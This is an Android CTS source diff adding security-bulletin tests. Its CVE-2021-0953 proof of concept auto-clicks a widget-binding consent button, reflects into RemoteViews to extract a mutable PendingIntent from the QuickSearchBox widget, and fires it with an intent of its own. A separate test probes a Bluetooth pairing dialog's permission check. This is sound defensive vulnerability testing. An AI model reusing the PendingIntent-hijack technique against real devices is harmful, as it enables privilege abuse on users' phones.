+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ public static final int TIMEOUT_SEC = 20;
+ public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+ @Test
+ public void testMutablePendingIntent() {
+ final Context context = getApplicationContext();
+ PocStatus status = new PocStatus();
+ CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ PocStatus pocStatus = new PocStatus();
+ pocStatus.setErrorMessage(
+ result.getString(context.getResources().getString(R.string.message_key)));
+ pocStatus.setStatusCode(
+ result.getInt(context.getResources().getString(R.string.status_key)));
+ callbackReturn.complete(pocStatus);
+ });
+ launchActivity(PocActivity.class, cb); // start activity with callback
+ try {
+ // blocking while the remotecallback is unset
+ status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+ } catch (InterruptedException | ExecutionException | TimeoutException e) {
+ assumeNoException(e);
+ }
+ assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+ .getInteger(R.integer.assumption_failure));
+ assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+ context.getResources().getInteger(R.integer.fail));
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+ final Context context = getApplicationContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(TEST_PACKAGE, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+ context.startActivity(intent);
+ }
+
+ private class PocStatus {
+ private int statusCode;
+ private String errorMessage;
+
+ public void setStatusCode(int status) {
+ statusCode = status;
+ }
+
+ public void setErrorMessage(String message) {
+ errorMessage = message;
+ }
+
+ public int getStatusCode() {
+ return statusCode;
+ }
+
+ public String getErrorMessage() {
+ return errorMessage;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 00000000000..3684cbe97cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,253 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+ public static int APPWIDGET_ID;
+ public static int REQUEST_BIND_APPWIDGET = 0;
+ public static final int TIMEOUT_MS = 10000;
+
+ Class mClRemoteViews;
+ Field mActions, mResponse, mFldPendingIntent;
+ Method mGetDeclaredField;
+ Object mObjSetOnClickResponse;
+ PendingIntent mPendingIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ AppWidgetHost appWidgetHost;
+ AppWidgetManager appWidgetManager;
+ PocActivity pocActivity = PocActivity.this;
+ appWidgetManager = AppWidgetManager.getInstance(this);
+ appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+ APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+ Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+ intent.putExtra("appWidgetId", APPWIDGET_ID);
+ intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+ "com.android.quicksearchbox.SearchWidgetProvider"));
+ PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+ String settingsPkgName = "";
+ PackageManager pm = getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ for (ResolveInfo ri : ris) {
+ if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+ settingsPkgName = ri.activityInfo.packageName;
+ }
+ }
+ if (settingsPkgName.equals("")) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Settings package not found/AllowBindAppWidgetActivity not found");
+ return;
+ }
+ if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to start AllowBindAppWidgetActivity");
+ return;
+ }
+ boolean buttonClicked = false;
+ BySelector selector = By.clickable(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ for (UiObject2 object : objects) {
+ String objectText = object.getText();
+ String objectClass = object.getClassName();
+ if (objectText == null) {
+ continue;
+ }
+ if (objectText.equalsIgnoreCase("CREATE")) {
+ object.click();
+ buttonClicked = true;
+ break;
+ }
+ }
+ if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "'Create' button not found/clicked");
+ return;
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ PocActivity pocActivity = PocActivity.this;
+ if (requestCode == REQUEST_BIND_APPWIDGET) {
+ if (resultCode == -1) {
+ APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+ }
+ }
+ RemoteViews remoteViews =
+ pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+ if (remoteViews == null) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "remoteViews is null as callBinder() failed");
+ return;
+ }
+ try {
+ mClRemoteViews = Class.forName("android.widget.RemoteViews");
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Class android.widget.RemoteViews not found");
+ return;
+ }
+ Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+ Class clSetOnClickResponse = null;
+ Class clRemoteResponse = null;
+ for (Class c : rvSubClasses) {
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+ clSetOnClickResponse = c;
+ }
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+ clRemoteResponse = c;
+ }
+ }
+ try {
+ mActions = mClRemoteViews.getDeclaredField("mActions");
+ } catch (NoSuchFieldException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mActions field not found");
+ return;
+ }
+ mActions.setAccessible(true);
+ try {
+ mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+ mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+ mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+ } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mResponse field not found");
+ return;
+ }
+ mResponse.setAccessible(true);
+ try {
+ mFldPendingIntent =
+ (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+ } catch (IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mPendingIntent field not found");
+ return;
+ }
+ mFldPendingIntent.setAccessible(true);
+ try {
+ mPendingIntent = (PendingIntent) mFldPendingIntent
+ .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+ } catch (IllegalAccessException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to get PendingIntent");
+ return;
+ }
+ Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+ spuriousIntent.setPackage(getApplicationContext().getPackageName());
+ spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ // this is expected when vulnerability is not present and hence return
+ sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+ return;
+ }
+ sendTestResult(getResources().getInteger(R.integer.fail),
+ "Device is vulnerable to b/184046278!!"
+ + " Mutable PendingIntent in QuickSearchBox widget");
+ }
+
+ private IBinder getService(String service) {
+ try {
+ Class clServiceManager = Class.forName("android.os.ServiceManager");
+ Method mtGetService = clServiceManager.getMethod("getService", String.class);
+ return (IBinder) mtGetService.invoke(null, service);
+ } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+ | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Failed to invoke android.os.ServiceManager service");
+ return null;
+ }
+ }
+
+ private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+ String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+ int GET_APP_WIDGET_VIEWS = 7;
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ RemoteViews remoteViews = null;
+ IBinder service = getService("appwidget");
+ if (service != null) {
+ data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+ data.writeString(callingPackage);
+ data.writeInt(appWidgetId);
+ try {
+ service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+ } catch (RemoteException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "service.transact() failed due to RemoteException");
+ return null;
+ }
+ reply.readException();
+ if (reply.readInt() != 0) {
+ remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+ }
+ }
+ return remoteViews;
+ }
+
+ private void sendTestResult(int statusCode, String errorMessage) {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message_key), errorMessage);
+ res.putInt(getString(R.string.status_key), statusCode);
+ finish();
+ cb.sendResult(res); // update callback in test
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 00000000000..b99ba9dc3e9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.vulnerable_activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index ab1f6278b4f..6f672e031e0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -33,5 +33,5 @@ android_test_helper_app {
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- sdk_version: "current",
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a8044..46f16135532 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@ package android.security.cts.CVE_2021_0965;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiDevice;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@ public class DeviceTest {
try {
device.wakeUp();
} catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
}
device.pressHome();
}
+ private String getSettingsPkgName() {
+ PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = "com.android.settings";
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+ PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ if (info != null && info.activityInfo != null) {
+ name = info.activityInfo.packageName;
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ private boolean hasFeature(String feature) {
+ return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+ }
+
+ private boolean isTV() {
+ return hasFeature(PackageManager.FEATURE_LEANBACK);
+ }
+
@Test
public void testPermission() {
+ String pkg = getSettingsPkgName();
+ String cls = "";
+ if (isTV()) {
+ cls = ".accessories.BluetoothPairingDialog";
+ } else {
+ cls = ".bluetooth.BluetoothPairingDialog";
+ }
+
try {
Intent intent = new Intent(Intent.ACTION_MAIN);
- intent.setClassName("com.android.settings",
- "com.android.settings.bluetooth.BluetoothPairingDialog");
+ intent.setClassName(pkg, pkg + cls);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplicationContext().startActivity(intent);
- } catch (SecurityException e) {
- return;
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ if (ex instanceof SecurityException) {
+ return;
+ }
+ assumeNoException(ex);
}
/* If SecurityException is not thrown, it indicates absence of fix */
- throw new RuntimeException("Vulnerable to b/194300867 !!");
+ fail("Vulnerable to b/194300867 !!");
}
}
diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp
index 4ba3243e177..0a6dfd66ac8 100644
--- a/tests/MediaProviderTranscode/Android.bp
+++ b/tests/MediaProviderTranscode/Android.bp
@@ -7,6 +7,7 @@ android_test {
test_suites: [
"device-tests",
"cts",
+ "mts-mediaprovider",
],
compile_multilib: "both",
@@ -30,6 +31,7 @@ android_test {
"truth-prebuilt",
],
+ min_sdk_version: "30",
certificate: "media",
java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"]
}
@@ -45,6 +47,7 @@ android_test_helper_app {
],
static_libs: ["androidx.legacy_legacy-support-v4"],
target_sdk_version: "28",
+ min_sdk_version: "30",
}
android_test_helper_app {
@@ -58,4 +61,5 @@ android_test_helper_app {
],
static_libs: ["androidx.legacy_legacy-support-v4"],
target_sdk_version: "28",
+ min_sdk_version: "30",
}
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba7414c5c..7dc78ebcd2f 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -19,6 +19,11 @@
<option name="install-arg" value="-g" />
</target_preparer>
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<option name="test-suite-tag" value="apct" />
<option name="test-suite-tag" value="cts" />
<option name="test-tag" value="MediaProviderTranscodeTests" />
diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp
index dac10dca7c8..37b049b36c2 100644
--- a/tests/PhotoPicker/Android.bp
+++ b/tests/PhotoPicker/Android.bp
@@ -23,9 +23,14 @@ android_test {
srcs: ["src/**/*.java", "helper/**/*.java", ":CtsProviderTestUtils",],
compile_multilib: "both",
test_suites: ["device-tests", "mts-mediaprovider", "cts"],
- sdk_version: "test_current",
+ sdk_version: "core_current",
min_sdk_version: "30",
- libs: ["android.test.base", "android.test.runner",],
+ libs: [
+ "android.test.base",
+ "android.test.runner",
+ "framework-mediaprovider.impl",
+ "framework-res",
+ "android_test_stubs_current"],
static_libs: [
"androidx.test.rules",
"cts-install-lib",
diff --git a/tests/PhotoPicker/AndroidTest.xml b/tests/PhotoPicker/AndroidTest.xml
index 89fc076b40d..7eb9f638d97 100644
--- a/tests/PhotoPicker/AndroidTest.xml
+++ b/tests/PhotoPicker/AndroidTest.xml
@@ -20,7 +20,7 @@
<option name="test-file-name" value="CtsPhotoPickerTest.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer">
- <option name="force-root" value="false" />
+ <option name="force-root" value="true" />
</target_preparer>
<option name="test-suite-tag" value="cts" />
@@ -35,6 +35,7 @@
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
<option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
+ <option name="instrumentation-arg" key="thisisignored" value="thisisignored --no-window-animation" />
</test>
<option name="config-descriptor:metadata" key="parameter" value="multiuser" />
diff --git a/tests/PhotoPicker/TEST_MAPPING b/tests/PhotoPicker/TEST_MAPPING
new file mode 100644
index 00000000000..f48e90cf2a3
--- /dev/null
+++ b/tests/PhotoPicker/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsPhotoPickerTest"
+ }
+ ]
+}
diff --git a/tests/PhotoPicker/res/raw/test_video.mp4 b/tests/PhotoPicker/res/raw/test_video.mp4
new file mode 100644
index 00000000000..ab95ac07dd3
--- /dev/null
+++ b/tests/PhotoPicker/res/raw/test_video.mp4
Binary files differ
diff --git a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 b/tests/PhotoPicker/res/raw/test_video_dng.mp4
index e83c61db02f..9b38f0e8e7d 100644
--- a/tests/PhotoPicker/res/raw/testvideo_meta.mp4
+++ b/tests/PhotoPicker/res/raw/test_video_dng.mp4
Binary files differ
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
index e51ff082ce3..5873feed179 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
@@ -16,13 +16,17 @@
package android.photopicker.cts;
+import android.Manifest;
import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
+import android.provider.DeviceConfig;
import androidx.test.InstrumentationRegistry;
import androidx.test.uiautomator.UiDevice;
+import com.android.modules.utils.build.SdkLevel;
+
import org.junit.Before;
/**
@@ -39,12 +43,15 @@ public class PhotoPickerBaseTest {
@Before
public void setUp() throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ mDevice = UiDevice.getInstance(inst);
+
+ enablePhotoPickerFlag(inst);
+
mContext = inst.getContext();
final Intent intent = new Intent(mContext, GetResultActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// Wake up the device and dismiss the keyguard before the test starts
- mDevice = UiDevice.getInstance(inst);
mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
mDevice.executeShellCommand("wm dismiss-keyguard");
@@ -54,4 +61,18 @@ public class PhotoPickerBaseTest {
mActivity.clearResult();
mDevice.waitForIdle();
}
+
+ private void enablePhotoPickerFlag(Instrumentation inst) throws Exception {
+ if (SdkLevel.isAtLeastS()) {
+ inst.getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.WRITE_DEVICE_CONFIG);
+ DeviceConfig.setProperty(
+ DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT,
+ "picker_intent_enabled" /* name */,
+ "true" /* value */,
+ false /* makeDefault */);
+ } else {
+ mDevice.executeShellCommand("setprop persist.sys.storage_picker_enabled true");
+ }
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
index 10587786202..60013dd5e74 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
@@ -70,7 +70,6 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
@Test
@RequireRunOnWorkProfile
- @Ignore("Enable after b/201323670 is fixed")
public void testWorkApp_canAccessPersonalProfileContents() throws Exception {
final int imageCount = 2;
createImages(imageCount, sDeviceState.primaryUser().id(), mUriList);
@@ -109,7 +108,7 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
@Test
@EnsureHasWorkProfile
- @Ignore("Enable after b/201323670 is fixed")
+ @Ignore("Enable after b/216475844 is fixed")
public void testPersonalApp_canAccessWorkProfileContents() throws Exception {
final int imageCount = 2;
createImages(imageCount, sDeviceState.workProfile().id(), mUriList);
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index fd84b2834a8..fe56deda621 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -19,13 +19,15 @@ package android.photopicker.cts;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddOrSelectButton;
import static com.google.common.truth.Truth.assertThat;
@@ -95,6 +97,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
mDevice.waitForIdle();
final UiObject addButton = findPreviewAddOrSelectButton();
+ assertThat(addButton.waitForExists(1000)).isTrue();
addButton.click();
mDevice.waitForIdle();
@@ -106,7 +109,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testMultiSelect_invalidParam() throws Exception {
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1);
+ // TODO(b/205291616): Replace 101 with MediaStore.getPickImagesMaxLimit() + 1
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 101);
mActivity.startActivityForResult(intent, REQUEST_CODE);
final GetResultActivity.Result res = mActivity.getResult();
assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
@@ -183,7 +187,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final int imageCount = 4;
createImages(imageCount, mContext.getUserId(), mUriList);
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
mActivity.startActivityForResult(intent, REQUEST_CODE);
final List<UiObject> itemList = findItemList(imageCount);
@@ -211,15 +216,17 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testMultiSelect_longPress() throws Exception {
- final int imageCount = 3;
- createImages(imageCount, mContext.getUserId(), mUriList);
+ final int videoCount = 3;
+ createDNGVideos(videoCount, mContext.getUserId(), mUriList);
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ intent.setType("video/*");
mActivity.startActivityForResult(intent, REQUEST_CODE);
- final List<UiObject> itemList = findItemList(imageCount);
+ final List<UiObject> itemList = findItemList(videoCount);
final int itemCount = itemList.size();
- assertThat(itemCount).isEqualTo(imageCount);
+ assertThat(itemCount).isEqualTo(videoCount);
// Select one item from Photo grid
itemList.get(0).click();
@@ -260,7 +267,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final int imageCount = 4;
createImages(imageCount, mContext.getUserId(), mUriList);
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
mActivity.startActivityForResult(intent, REQUEST_CODE);
final List<UiObject> itemList = findItemList(imageCount);
@@ -277,19 +285,16 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
mDevice.waitForIdle();
// Swipe left three times
- swipeLeft();
- mDevice.waitForIdle();
- swipeLeft();
- mDevice.waitForIdle();
- swipeLeft();
- mDevice.waitForIdle();
+ swipeLeftAndWait();
+ swipeLeftAndWait();
+ swipeLeftAndWait();
// Deselect one item
final UiObject selectCheckButton = findPreviewSelectCheckButton();
selectCheckButton.click();
mDevice.waitForIdle();
- final UiObject addButton = findPreviewAddOrSelectButton();
+ final UiObject addButton = findPreviewAddButton();
addButton.click();
mDevice.waitForIdle();
@@ -304,15 +309,91 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
}
@Test
+ public void testMultiSelect_PreviewVideoPlayPause() throws Exception {
+ launchPreviewMultipleWithVideos(/* videoCount */ 4);
+
+ // Check Play/Pause in first video
+ testVideoPreviewPlayPause();
+
+ // Move to second video
+ swipeLeftAndWait();
+ // Check Play/Pause in second video
+ testVideoPreviewPlayPause();
+
+ // Move to fourth video
+ swipeLeftAndWait();
+ swipeLeftAndWait();
+ // Check Play/Pause in fourth video
+ testVideoPreviewPlayPause();
+
+ final UiObject addButton = findPreviewAddButton();
+ addButton.click();
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test the video controls
+ }
+
+ @Test
+ public void testMultiSelect_PreviewVideoControlsVisibility() throws Exception {
+ launchPreviewMultipleWithVideos(/* videoCount */ 3);
+
+ mDevice.waitForIdle();
+
+ final UiObject playPauseButton = findPlayPauseButton();
+ // Check that the player controls are visible
+ assertPlayPauseVisible(playPauseButton);
+
+ // Check that buttons auto hide.
